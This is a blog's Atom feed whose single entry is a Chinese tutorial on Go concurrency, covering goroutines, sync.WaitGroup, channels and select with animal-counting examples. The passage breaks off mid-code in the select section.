<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>离沫凌天๓</title>
  
  
  <link href="https://www.lintstar.top/atom.xml" rel="self"/>
  
  <link href="https://www.lintstar.top/"/>
  <updated>2023-11-09T07:40:38.120Z</updated>
  <id>https://www.lintstar.top/</id>
  
  <author>
    <name>离沫凌天๓</name>
    
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>从实战理解 Golang 的多并发能力</title>
    <link href="https://www.lintstar.top/2021/09/4e16c1bd.html"/>
    <id>https://www.lintstar.top/2021/09/4e16c1bd.html</id>
    <published>2021-09-29T03:49:59.000Z</published>
    <updated>2023-11-09T07:40:38.120Z</updated>
    
    <content type="html"><![CDATA[<h1 id="Go-多并发能力"><a href="#Go-多并发能力" class="headerlink" title="Go 多并发能力"></a>Go 多并发能力</h1><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210731113614.png" alt="image-20210731113614617"></p><p>首先定义一个工作 数5只 🐑</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> main</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> (</span><br><span class="line"><span class="string">&quot;fmt&quot;</span></span><br><span class="line"><span class="string">&quot;time&quot;</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> &#123;</span><br><span class="line">count(<span class="number">5</span>, <span class="string">&quot;🐑&quot;</span>)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">count</span><span class="params">(n <span class="keyword">int</span>, animal <span class="keyword">string</span>)</span></span> &#123;</span><br><span class="line"><span class="keyword">for</span> i := <span class="number">0</span>; i &lt; n; i++ &#123;</span><br><span class="line">fmt.Println(i+<span class="number">1</span>, animal)</span><br><span class="line">time.Sleep(time.Millisecond * <span class="number">500</span>)<span class="comment">// 每隔半秒输出一次字符串</span></span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">+++++++++++++</span><br><span class="line">$ <span class="keyword">go</span> run main.<span class="keyword">go</span></span><br><span class="line"><span class="number">1</span> 🐑</span><br><span class="line"><span class="number">2</span> 🐑</span><br><span class="line"><span class="number">3</span> 🐑</span><br><span class="line"><span class="number">4</span> 🐑</span><br><span class="line"><span class="number">5</span> 🐑</span><br></pre></td></tr></table></figure><blockquote><p><strong>Millisecond（毫秒）, Microsecond（微秒）</strong></p></blockquote><p>把另一份工作交给这个程序：数5头 🐮</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">count(<span class="number">5</span>, <span class="string">&quot;🐮&quot;</span>)</span><br></pre></td></tr></table></figure><p>程序会按顺序执行：</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">$ <span class="keyword">go</span> run main.<span class="keyword">go</span></span><br><span class="line"><span class="number">1</span> 🐑</span><br><span class="line"><span class="number">2</span> 🐑</span><br><span class="line"><span class="number">3</span> 🐑</span><br><span class="line"><span class="number">4</span> 🐑</span><br><span class="line"><span class="number">5</span> 🐑</span><br><span class="line"><span class="number">1</span> 🐮</span><br><span class="line"><span class="number">2</span> 🐮</span><br><span class="line"><span class="number">3</span> 🐮</span><br><span class="line"><span class="number">4</span> 🐮</span><br><span class="line"><span class="number">5</span> 🐮</span><br></pre></td></tr></table></figure><h2 id="Goroutine-协程"><a href="#Goroutine-协程" class="headerlink" title="Goroutine 协程"></a>Goroutine 协程</h2><p>可以看做请求一个轻量的线程:</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">go</span> count(<span class="number">5</span>, <span class="string">&quot;🐑&quot;</span>)</span><br></pre></td></tr></table></figure><p>使用 goroutine 来执行 count 会快很多：</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210731120620.png" alt="image-20210731120619977"></p><p>但是当我们再用 go 关键词创建一个 goroutine 来执行第二个 count：</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> main</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> (</span><br><span class="line"><span class="string">&quot;fmt&quot;</span></span><br><span class="line"><span class="string">&quot;time&quot;</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> &#123;</span><br><span class="line"><span class="keyword">go</span> count(<span class="number">5</span>, <span class="string">&quot;🐑&quot;</span>)</span><br><span class="line"><span class="keyword">go</span> count(<span class="number">5</span>, <span class="string">&quot;🐮&quot;</span>)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">count</span><span class="params">(n <span class="keyword">int</span>, animal <span class="keyword">string</span>)</span></span> &#123;</span><br><span class="line"><span class="keyword">for</span> i := <span class="number">0</span>; i &lt; n; i++ &#123;</span><br><span class="line">fmt.Println(i+<span class="number">1</span>, animal)</span><br><span class="line">time.Sleep(time.Millisecond * <span class="number">500</span>)</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>然而什么也没有输出</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210731120814.png" alt="image-20210731120814263"></p><h3 id="原因"><a href="#原因" class="headerlink" title="原因"></a>原因</h3><ul><li>在一个用 golang 编写的程序中，当主函数运行完毕后，这个程序就结束了：不管你创建了多少个 goroutine，goroutine 里又创建了多少个 goroutine，他们都会被终止</li></ul><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210731121614.png" alt="image-20210731121614475"></p><h3 id="并不现实的解决办法"><a href="#并不现实的解决办法" class="headerlink" title="并不现实的解决办法"></a>并不现实的解决办法</h3><p>我们可以掐时间进行等待：</p><p>运行时间是一定的 数羊需要2.5秒，数牛需要1.5秒，所以我们可以在主函数结束前等3秒</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> main</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> (</span><br><span class="line"><span class="string">&quot;fmt&quot;</span></span><br><span class="line"><span class="string">&quot;time&quot;</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> &#123;</span><br><span class="line"><span class="keyword">go</span> count(<span class="number">5</span>, <span class="string">&quot;🐑&quot;</span>)</span><br><span class="line"><span class="keyword">go</span> count(<span class="number">3</span>, <span class="string">&quot;🐮&quot;</span>)</span><br><span class="line">time.Sleep(time.Second * <span class="number">1</span>)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">count</span><span class="params">(n <span class="keyword">int</span>, animal <span class="keyword">string</span>)</span></span> &#123;</span><br><span class="line"><span class="keyword">for</span> i := <span class="number">0</span>; i &lt; n; i++ &#123;</span><br><span class="line">fmt.Println(i+<span class="number">1</span>, animal)</span><br><span class="line">time.Sleep(time.Microsecond * <span class="number">500</span>)</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>但是在绝大多数情况下我们并不知道我们写的代码需要多长时间来执行</p><p>因此 golang 为我们提供了一个简单的工具：<code>WaitGroup</code></p><h2 id="WaitGroup"><a href="#WaitGroup" class="headerlink" title="WaitGroup"></a>WaitGroup</h2><p><code>WaitGroup</code> 在Go 语言自带的 <code>sync</code> 包裹中，引用它可以用来追踪我们有多少任务还没完成</p><p>接下来有两个任务要执行,所以我们这里调用 <code>waitgroup.Add(2)</code></p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> wg sync.WaitGroup</span><br><span class="line">wg.Add(<span class="number">2</span>)</span><br></pre></td></tr></table></figure><p>每当我们执行完一个任务后，我们希望把 <code>WaitGroup</code> 这个计数器的值减一</p><p>所以我们创建一个匿名函数把 <code>count</code> 函数包裹起来，然后在 <code>count</code> 函数执行完后运行一下 <code>wg.Done()</code></p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">go</span> <span class="function"><span class="keyword">func</span><span class="params">()</span></span> &#123;</span><br><span class="line">count(<span class="number">5</span>, <span class="string">&quot;🐑&quot;</span>)</span><br><span class="line">wg.Done()</span><br><span class="line">&#125;()</span><br></pre></td></tr></table></figure><blockquote><p>匿名函数就是创建一个没有名字的函数然后立马调用它</p><p>好处：把上面两行作为一个整体丢给 groutine 让它运行</p></blockquote><p>这个匿名函数要做的事情就是执行完一个任务更新一下计数器 说：“嘿，我这个任务完成啦”</p><p>现在我们就可以在 <code>main</code> 函数结束前用我们 <code>waitgroup</code> 的 <code>.Wat</code> 方法来让 <code>main</code> 函数原地听命</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> main</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> (</span><br><span class="line"><span class="string">&quot;fmt&quot;</span></span><br><span class="line"><span class="string">&quot;sync&quot;</span></span><br><span class="line"><span class="string">&quot;time&quot;</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> &#123;</span><br><span class="line"><span class="keyword">var</span> wg sync.WaitGroup</span><br><span class="line">wg.Add(<span class="number">2</span>)</span><br><span class="line"><span class="keyword">go</span> <span class="function"><span class="keyword">func</span><span class="params">()</span></span> &#123;</span><br><span class="line">count(<span class="number">5</span>, <span class="string">&quot;🐑&quot;</span>)</span><br><span class="line">wg.Done()</span><br><span class="line">&#125;()</span><br><span class="line"><span class="keyword">go</span> <span class="function"><span class="keyword">func</span><span class="params">()</span></span> &#123;</span><br><span class="line">count(<span class="number">3</span>, <span class="string">&quot;🐮&quot;</span>)</span><br><span class="line">wg.Done()</span><br><span class="line">&#125;()</span><br><span class="line">wg.Wait()</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">count</span><span class="params">(n <span class="keyword">int</span>, animal <span class="keyword">string</span>)</span></span> &#123;</span><br><span class="line"><span class="keyword">for</span> i := <span class="number">0</span>; i &lt; n; i++ &#123;</span><br><span class="line">fmt.Println(i+<span class="number">1</span>, animal)</span><br><span class="line">time.Sleep(time.Millisecond * <span class="number">500</span>)</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>就这样通过 <code>waitgroup</code>我们保证了我们的两个 <code>goroutine</code> 都能运行完毕,而且不耽误额外的时间</p><p>但是现在这两个 <code>goroutine</code> 就是各干各的没有任何交流，像极了我们单排打游戏遇到的队友一样</p><p>如果我们现在想知道一共数了多少只动物，就需要两个数动物的 <code>groutine</code> 进行交流</p><h3 id="使用普通的-Counter"><a href="#使用普通的-Counter" class="headerlink" title="使用普通的 Counter"></a>使用普通的 Counter</h3><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> main</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> (</span><br><span class="line"><span class="string">&quot;fmt&quot;</span></span><br><span class="line"><span class="string">&quot;sync&quot;</span></span><br><span class="line"><span class="string">&quot;time&quot;</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> &#123;</span><br><span class="line"><span class="keyword">var</span> wg sync.WaitGroup</span><br><span class="line">wg.Add(<span class="number">2</span>)</span><br><span class="line"><span class="keyword">go</span> <span class="function"><span class="keyword">func</span><span class="params">()</span></span> &#123;</span><br><span class="line">count(<span class="number">5</span>, <span class="string">&quot;🐑&quot;</span>)</span><br><span class="line">wg.Done()</span><br><span class="line">&#125;()</span><br><span class="line"><span class="keyword">go</span> <span class="function"><span class="keyword">func</span><span class="params">()</span></span> &#123;</span><br><span class="line">count(<span class="number">3</span>, <span class="string">&quot;🐮&quot;</span>)</span><br><span class="line">wg.Done()</span><br><span class="line">&#125;()</span><br><span class="line">wg.Wait()</span><br><span class="line">fmt.Println(counter)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> counter <span class="keyword">int</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">count</span><span class="params">(n <span class="keyword">int</span>, animal <span class="keyword">string</span>)</span></span> &#123;</span><br><span class="line"><span class="keyword">for</span> i := <span class="number">0</span>; i &lt; n; i++ &#123;</span><br><span class="line">fmt.Println(i+<span class="number">1</span>, animal)</span><br><span class="line">counter = counter + <span class="number">1</span><span class="comment">//每数一只动物 counter+1</span></span><br><span class="line">time.Sleep(time.Millisecond * <span class="number">500</span>)</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这样在程序结束的最后会输出 <code>8</code></p><p>这样会带来一个问题：</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210731125223.png" alt="image-20210731125223166"></p><p>同时操作一块内存会导致这样的错误：</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210731125100.png" alt="image-20210731125100678"></p><p>所以 Go 引入了 <code>Communicating Sequential Processes - 通信顺序进程</code></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210731113434.png" alt="image-20210731113434450"></p><h2 id="Channel"><a href="#Channel" class="headerlink" title="Channel"></a>Channel</h2><p><code>Channel</code> 就是 Go 语言中不同 <code>goroutine</code> 交流的途径</p><h3 id="特性"><a href="#特性" class="headerlink" title="特性"></a>特性</h3><ul><li>Channel 是双向的：你可以随时对一个 Channel 喊话，也可以随时收听一个 Channel</li><li>往 Channel 里发送一条消息，和从 Channel 里收听一条消息，都会阻塞代码的运行</li></ul><p>我们可以用这个阻塞的特性来同步我们的代码</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> main</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> (</span><br><span class="line"><span class="string">&quot;fmt&quot;</span></span><br><span class="line"><span class="string">&quot;time&quot;</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> &#123;</span><br><span class="line">c := <span class="built_in">make</span>(<span class="keyword">chan</span> <span class="keyword">string</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">go</span> count(<span class="number">5</span>, <span class="string">&quot;🐑&quot;</span>, c)</span><br><span class="line"><span class="keyword">for</span> &#123;</span><br><span class="line">message := &lt;-c <span class="comment">//从 channel 里收听一条消息</span></span><br><span class="line">fmt.Println(message)</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">count</span><span class="params">(n <span class="keyword">int</span>, animal <span class="keyword">string</span>, c <span class="keyword">chan</span> <span class="keyword">string</span>)</span></span> &#123;</span><br><span class="line"><span class="keyword">for</span> i := <span class="number">0</span>; i &lt; n; i++ &#123;</span><br><span class="line">c &lt;- animal <span class="comment">//每数一只动物向 channel 里面喊话</span></span><br><span class="line">time.Sleep(time.Millisecond * <span class="number">500</span>)</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>运行结果是这样的：</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210731130555.png" alt="image-20210731130555623"></p><h3 id="错误原因"><a href="#错误原因" class="headerlink" title="错误原因"></a>错误原因</h3><ul><li>主函数这边一直在等着 <code>c</code> 这个 Channel 的另一边传来消息,但 <code>count</code> 函数已经结束了</li><li>也就是对我们这个程序来说,再也不会有新的数据传进 <code>c</code> 这个 Channel</li></ul><h3 id="判断是否继续从-Channel-接收消息"><a href="#判断是否继续从-Channel-接收消息" class="headerlink" title="判断是否继续从 Channel 接收消息"></a>判断是否继续从 Channel 接收消息</h3><p>作为消息的发送人 我们需要负起关闭 Channel 的责任</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> main</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> (</span><br><span class="line"><span class="string">&quot;fmt&quot;</span></span><br><span class="line"><span class="string">&quot;time&quot;</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> &#123;</span><br><span class="line">c := <span class="built_in">make</span>(<span class="keyword">chan</span> <span class="keyword">string</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">go</span> count(<span class="number">5</span>, <span class="string">&quot;🐑&quot;</span>, c)</span><br><span class="line"><span class="keyword">for</span> &#123;</span><br><span class="line">message, open := &lt;-c <span class="comment">//从 Channel 里收听一条消息</span></span><br><span class="line"><span class="keyword">if</span> !open &#123;</span><br><span class="line"><span class="keyword">break</span></span><br><span class="line">&#125; <span class="comment">//接收方通过这个布尔值来判断我们是不是要继续从这个 Channel 接收消息</span></span><br><span class="line">fmt.Println(message)</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">count</span><span class="params">(n <span class="keyword">int</span>, animal <span class="keyword">string</span>, c <span class="keyword">chan</span> <span class="keyword">string</span>)</span></span> &#123;</span><br><span class="line"><span class="keyword">for</span> i := <span class="number">0</span>; i &lt; n; i++ &#123;</span><br><span class="line">c &lt;- animal <span class="comment">//每数一只动物向 Channel 里面喊话</span></span><br><span class="line">time.Sleep(time.Millisecond * <span class="number">500</span>)</span><br><span class="line">&#125;</span><br><span class="line"><span class="built_in">close</span>(c) <span class="comment">//关闭 Channel</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这次就不会报错啦</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210731131220.png" alt="image-20210731131220469"></p><p>使用 Range 可以更简便一些，如果 Channel 关闭了 for 循环就会直接退出</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> main</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> (</span><br><span class="line"><span class="string">&quot;fmt&quot;</span></span><br><span class="line"><span class="string">&quot;time&quot;</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> &#123;</span><br><span class="line">c := <span class="built_in">make</span>(<span class="keyword">chan</span> <span class="keyword">string</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">go</span> count(<span class="number">5</span>, <span class="string">&quot;🐑&quot;</span>, c)</span><br><span class="line"><span class="keyword">for</span> message := <span class="keyword">range</span> c &#123;</span><br><span class="line">fmt.Println(message)</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">count</span><span class="params">(n <span class="keyword">int</span>, animal <span class="keyword">string</span>, c <span class="keyword">chan</span> <span class="keyword">string</span>)</span></span> &#123;</span><br><span class="line"><span class="keyword">for</span> i := <span class="number">0</span>; i &lt; n; i++ &#123;</span><br><span class="line">c &lt;- animal <span class="comment">//每数一只动物向 Channel 里面喊话</span></span><br><span class="line">time.Sleep(time.Millisecond * <span class="number">500</span>)</span><br><span class="line">&#125;</span><br><span class="line"><span class="built_in">close</span>(c) <span class="comment">//关闭 Channel</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>那如何从多个 Channel 里接收消息呢？</p><p>当我们把一个任务分成多个子任务的时候，可能每一个子任务都有一个单独的 Channel 专门和那一个子任务通讯</p><p>这些 Channel 随时都可能传来消息，我们怎么去管理他们呢?</p><h3 id="Channel-阻塞特性导致-For-循环管理-Channel-存在的问题"><a href="#Channel-阻塞特性导致-For-循环管理-Channel-存在的问题" class="headerlink" title="Channel 阻塞特性导致 For 循环管理 Channel 存在的问题"></a>Channel 阻塞特性导致 For 循环管理 Channel 存在的问题</h3><p>我们先尝试用 for 循环每次从 c1接收一下 再从 c2接收一下</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> main</span><br><span class="line"> </span><br><span class="line"><span class="keyword">import</span> (</span><br><span class="line"><span class="string">&quot;fmt&quot;</span></span><br><span class="line"><span class="string">&quot;time&quot;</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> &#123;</span><br><span class="line">c1 := <span class="built_in">make</span>(<span class="keyword">chan</span> <span class="keyword">string</span>)</span><br><span class="line">c2 := <span class="built_in">make</span>(<span class="keyword">chan</span> <span class="keyword">string</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">go</span> <span class="function"><span class="keyword">func</span><span class="params">()</span></span> &#123;</span><br><span class="line"><span class="keyword">for</span> &#123;</span><br><span class="line">c1 &lt;- <span class="string">&quot;🐑&quot;</span></span><br><span class="line">time.Sleep(time.Millisecond * <span class="number">500</span>) <span class="comment">//每间隔0.5秒往c1的 Channel 里发送消息</span></span><br><span class="line">&#125;</span><br><span class="line">&#125;()</span><br><span class="line"><span class="keyword">go</span> <span class="function"><span class="keyword">func</span><span class="params">()</span></span> &#123;</span><br><span class="line"><span class="keyword">for</span> &#123;</span><br><span class="line">c2 &lt;- <span class="string">&quot;🐮&quot;</span></span><br><span class="line">time.Sleep(time.Millisecond * <span class="number">2000</span>) <span class="comment">//每间隔2秒往c2的 Channel 里发送消息</span></span><br><span class="line">&#125;</span><br><span class="line">&#125;()</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> &#123;</span><br><span class="line">fmt.Println(&lt;-c1)</span><br><span class="line">fmt.Println(&lt;-c2)</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>可以看到 🐑 和 🐮 是相间打印的</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210731160509.png" alt="image-20210731160509462"></p><p>可因为c1 和 c2的间隔不一样 应该是每打印四只 🐑 才打印一只 🐮</p><p>这里就是 Channel 的阻塞特性:</p><ul><li>往 Channel 里发送一条消息，和从 Channel 里收听一条消息，都会阻塞代码的运行</li></ul><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210731161015.png" alt="image-20210731161015866"></p><p>这个阻塞原理是这样的：</p><ol><li>当c1接收到消息后，距离 c2收到消息还要等一段时间，所以只能在这里等着，什么也做不了</li><li>而在这个等待的时间里第一个 <code>goroutine</code> 又一次要发送消息了</li><li>但是它也得在那里等着，因为没有人从 c1里去接收它的消息</li><li>所以我们这个程序就浪费了很多时间，在那里干等着 </li></ol><h2 id="Select"><a href="#Select" class="headerlink" title="Select"></a>Select</h2><p>Go 提供了 <code>select</code> 语句，里面可以有很多 <code>case</code>，它会看看这里面哪个不阻塞可以被直接运行的，他就会选择哪个来运行，且只会运行一个。</p><p>当有多个 Channel 发送消息的时候，我们就可以使用 <code>select</code> 语句来保证我们可以在第一时间从有新消息的 Channel 里收到数据，而不收不同 Channel 消息频率不同的影响：</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> main</span><br><span class="line"></span><br><span class="line"><span 